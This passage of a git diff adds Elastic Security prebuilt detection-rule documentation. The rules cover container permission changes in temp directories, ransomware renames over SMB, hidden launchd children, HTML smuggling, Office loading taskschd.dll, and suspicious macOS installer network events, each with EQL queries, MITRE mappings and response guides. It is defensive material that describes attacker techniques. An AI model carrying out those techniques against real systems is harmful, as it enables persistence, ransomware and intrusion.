https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name in ("chmod", "chown") and +process.args in ("4755", "755", "000", "777", "444", "+x") and +process.args like ("/dev/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/mnt/*", "/media/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-renamed-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-renamed-via-smb.asciidoc new file mode 100644 index 0000000000..88b4f07d37 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-renamed-via-smb.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-suspicious-file-renamed-via-smb]] +=== Suspicious File Renamed via SMB + +Identifies an incoming SMB connection followed by a suspicious file rename operation. This may indicate a remote ransomware attack via the SMB protocol. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +- This rule may cause medium to high performance impact due to logic scoping all icoming SMB network events. + + +*Possible investigation steps* + + +- Investigate the source.ip address connecting to port 445 on this host. +- Identify the user account that performed the file creation via SMB. +- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Remote file rename over SMB. + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 +- Potential Ransomware Note File Dropped via SMB - 02bab13d-fb14-4d7c-b6fe-4a28874d37c5 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [network where host.os.type == "windows" and + event.action == "connection_accepted" and destination.port == 445 and source.port >= 49152 and process.pid == 4 and + source.ip != "127.0.0.1" and source.ip != "::1" and + network.type == "ipv4" and not endswith(source.address, destination.address)] + [file where host.os.type == "windows" and + event.action == "rename" and process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-*") and + file.extension != null and file.Ext.entropy >= 6 and file.path : "C:\\Users\\*" and + file.Ext.original.name : ("*.jpg", "*.bmp", "*.png", "*.pdf", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.ppt", "*.pptx", "*.lnk") and + not file.extension : ("jpg", "bmp", "png", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "*.lnk")] with runs=3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-hidden-child-process-of-launchd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-hidden-child-process-of-launchd.asciidoc new file mode 100644 index 0000000000..d7509cb162 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-hidden-child-process-of-launchd.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-suspicious-hidden-child-process-of-launchd]] +=== Suspicious Hidden Child Process of Launchd + +Identifies the execution of a launchd child process with a hidden file. An adversary can establish persistence by installing a new logon item, launch agent, or daemon that executes upon login. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x61.html +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Hidden Child Process of Launchd* + + +Launchd is a key macOS system process responsible for managing system and user services. Adversaries may exploit it by creating hidden child processes to maintain persistence or evade defenses. The detection rule identifies unusual child processes of launchd, focusing on hidden files, which are often indicative of malicious activity. By monitoring process initiation events, it helps uncover potential threats linked to persistence and defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the hidden child process, focusing on the process.name field to determine if it matches known malicious patterns or unusual names. +- Examine the process.parent.executable field to confirm that the parent process is indeed /sbin/launchd, ensuring the alert is not a false positive. +- Investigate the file path and attributes of the hidden file associated with the child process to determine its origin and legitimacy. +- Check the user account associated with the process initiation event to assess if it aligns with expected user behavior or if it indicates potential compromise. +- Correlate the event with other recent process initiation events on the same host to identify any patterns or additional suspicious activities. +- Review system logs and other security alerts for the host to gather more context on the potential threat and assess the scope of the activity. + + +*False positive analysis* + + +- System updates or legitimate software installations may trigger hidden child processes of launchd. Users can create exceptions for known update processes or trusted software installations to prevent unnecessary alerts. +- Some legitimate applications may use hidden files for configuration or temporary data storage, which could be misidentified as suspicious. Users should identify these applications and whitelist their processes to reduce false positives. +- Development tools or scripts that run as background processes might appear as hidden child processes. Developers can exclude these tools by specifying their process names or paths in the detection rule exceptions. +- Automated backup or synchronization services might create hidden files as part of their normal operation. Users should verify these services and add them to an exclusion list if they are deemed safe. +- Custom scripts or automation tasks scheduled to run at login could be flagged. Users should review these scripts and, if legitimate, configure the rule to ignore these specific processes. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent further spread or communication with potential command and control servers. +- Terminate the suspicious hidden child process of launchd to stop any ongoing malicious activity. +- Conduct a thorough review of all launch agents, daemons, and logon items on the affected system to identify and remove any unauthorized or malicious entries. +- Restore the system from a known good backup if available, ensuring that the backup predates the initial compromise. +- Update the macOS system and all installed applications to the latest versions to patch any vulnerabilities that may have been exploited. +- Monitor the system for any signs of re-infection or further suspicious activity, focusing on process initiation events and hidden files. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name like~ ".*" and process.parent.name == "launchd" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-html-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-html-file-creation.asciidoc new file mode 100644 index 0000000000..5aa56d70eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-html-file-creation.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-suspicious-html-file-creation]] +=== Suspicious HTML File Creation + +Identifies the execution of a browser process to open an HTML file with high entropy and size. Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious HTML File Creation* + + +HTML files, typically used for web content, can be exploited by adversaries to smuggle malicious payloads past security filters. By embedding harmful data within seemingly benign HTML files, attackers can bypass traditional defenses. The detection rule identifies such threats by monitoring the creation of HTML files with unusual characteristics, such as high entropy or large size, in common download and temporary directories. It also tracks browser processes that open these files, ensuring that any suspicious activity is flagged for further investigation. This approach helps in identifying potential phishing attempts and other initial access tactics used by attackers. + + +*Possible investigation steps* + + +- Review the file creation or rename event details to confirm the file extension is .htm or .html and check if the file's entropy is 5 or higher or if the file size is 150,000 bytes or more. +- Verify the file path to ensure it is located in one of the common download or temporary directories specified in the rule, such as "?:\Users\*\Downloads\*" or "?:\Users\*\AppData\Local\Temp\*". +- Examine the process start event to identify the browser process involved, ensuring it matches one of the specified browsers like chrome.exe or firefox.exe, and check if the process arguments align with the rule's conditions. +- Investigate the user.id associated with the sequence to determine if the activity aligns with the user's typical behavior or if it appears suspicious. +- Check for any recent phishing attempts or suspicious emails received by the user that could have led to the download and execution of the HTML file. +- Analyze the content of the HTML file for any embedded scripts or links that could indicate malicious intent or payload delivery. + + +*False positive analysis* + + +- Legitimate large HTML files downloaded from trusted sources may trigger the rule. Users can create exceptions for specific trusted domains or file hashes to prevent these from being flagged. +- HTML files generated by certain applications or services, such as email clients or document converters, might have high entropy due to embedded data. Identify these applications and exclude their file creation paths from monitoring. +- Temporary HTML files created during software updates or installations in the AppData or Temp directories can be mistaken for suspicious activity. Monitor and whitelist known update processes to reduce false positives. +- Browser extensions or plugins that save web content locally might create HTML files with characteristics similar to those flagged by the rule. Review and whitelist extensions that are known to be safe and necessary for business operations. +- Automated scripts or tools that process web content and save it as HTML files could be misidentified. Ensure these scripts are documented and their file paths are excluded from the rule's scope. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious browser processes identified in the alert to stop the execution of potentially harmful HTML files. +- Quarantine the suspicious HTML files detected in the specified directories to prevent accidental execution or further access by users. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats or malicious payloads. +- Review and analyze the system and network logs to identify any lateral movement or additional compromised systems, escalating findings to the security team for further investigation. +- Restore any affected files or systems from known good backups to ensure the integrity and availability of data and services. +- Implement additional monitoring and alerting for similar activities, focusing on high entropy and large HTML files in common download and temporary directories to enhance detection capabilities. + +This rule may have a low to medium performance impact due variety of file paths potentially matching each EQL sequence. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.id with maxspan=2m + + [file where host.os.type == "windows" and event.action in ("creation", "rename") and + + /* Check for HTML files with high entropy and size */ + file.extension : ("htm", "html") and ((file.Ext.entropy >= 5 and file.size >= 150000) or file.size >= 1000000) and + + /* Check for file paths in common download and temporary directories */ + file.path : ( + "?:\\Users\\*\\Downloads\\*", + "?:\\Users\\*\\Content.Outlook\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*")] + [process where host.os.type == "windows" and event.action == "start" and + ( + /* Check for browser processes opening HTML files with single argument */ + (process.name in ("chrome.exe", "msedge.exe", "brave.exe", "whale.exe", "browser.exe", "dragon.exe", "vivaldi.exe", "opera.exe") + and process.args == "--single-argument") or + + /* Optionally, check for browser processes opening HTML files with two arguments */ + (process.name == "iexplore.exe" and process.args_count == 2) or + + /* Optionally, check for browser processes opening HTML files with URL argument */ + (process.name in ("firefox.exe", "waterfox.exe") and process.args == "-url") + ) + /* Check for file paths in common download and temporary directories targeted in the process arguments */ + and process.args : ("?:\\Users\\*\\Downloads\\*.htm*", + "?:\\Users\\*\\Content.Outlook\\*.htm*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*.htm*", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*.htm*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*.htm*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: HTML Smuggling +** ID: T1027.006 +** Reference URL: https://attack.mitre.org/techniques/T1027/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc new file mode 100644 index 0000000000..d90299b960 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-suspicious-image-load-taskschd-dll-from-ms-office]] +=== Suspicious Image Load (taskschd.dll) from MS Office + +Identifies a suspicious image load (taskschd.dll) from Microsoft Office processes. This behavior may indicate adversarial activity where a scheduled task is configured via Windows Component Object Model (COM). This technique can be used to configure persistence and evade monitoring by avoiding the usage of the traditional Windows binary (schtasks.exe) used to manage scheduled tasks. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 +* https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Image Load (taskschd.dll) from MS Office* + + +Microsoft Office, a widely used suite of productivity applications, is frequently targeted by attackers due to its popularity in corporate environments. These attackers exploit its extensive capabilities, like macro scripts in Word and Excel, to gain initial access to systems. They often use Office documents as delivery mechanisms for malware or phishing attempts, taking advantage of their trusted status in professional settings. + +`taskschd.dll` provides Command Object Model (COM) interfaces for the Windows Task Scheduler service, allowing developers to programmatically manage scheduled tasks. + +This rule looks for an MS Office process loading `taskschd.dll`, which may indicate an adversary abusing COM to configure a scheduled task. This can happen as part of a phishing attack, when a malicious office document registers the scheduled task to download the malware "stage 2" or to establish persistent access. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Analyze the host's scheduled tasks and explore the related Windows events to determine if tasks were created or deleted (Event IDs 4698 and 4699). +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Examine the files downloaded during the past 24 hours. + - Identify files that are related or can be executed in MS Office. + - Identify and analyze macros that these documents contain. + - Identify suspicious traits in the office macros, such as encoded or encrypted sections. +- Retrieve the suspicious files identified in the previous step and determine if they are malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Related Rules* + + +- Suspicious WMI Image Load from MS Office - 891cb88e-441a-4c3e-be2d-120d99fe7b0d + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE") and + (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-installer-package-spawns-network-event.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-installer-package-spawns-network-event.asciidoc new file mode 100644 index 0000000000..99af54c2f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-installer-package-spawns-network-event.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-suspicious-installer-package-spawns-network-event]] +=== Suspicious Installer Package Spawns Network Event + +Detects the execution of a MacOS installer package with an abnormal child process (e.g bash) followed immediately by a network connection via a suspicious process (e.g curl). Threat actors will build and distribute malicious MacOS installer packages, which have a .pkg extension, many times imitating valid software in order to persuade and infect their victims often using the package files (e.g pre/post install scripts etc.) to download additional tools or malicious software. If this rule fires it should indicate the installation of a malicious or suspicious package. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redcanary.com/blog/clipping-silver-sparrows-wings +* https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 +* https://github.com/D00MFist/Mystikal + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic 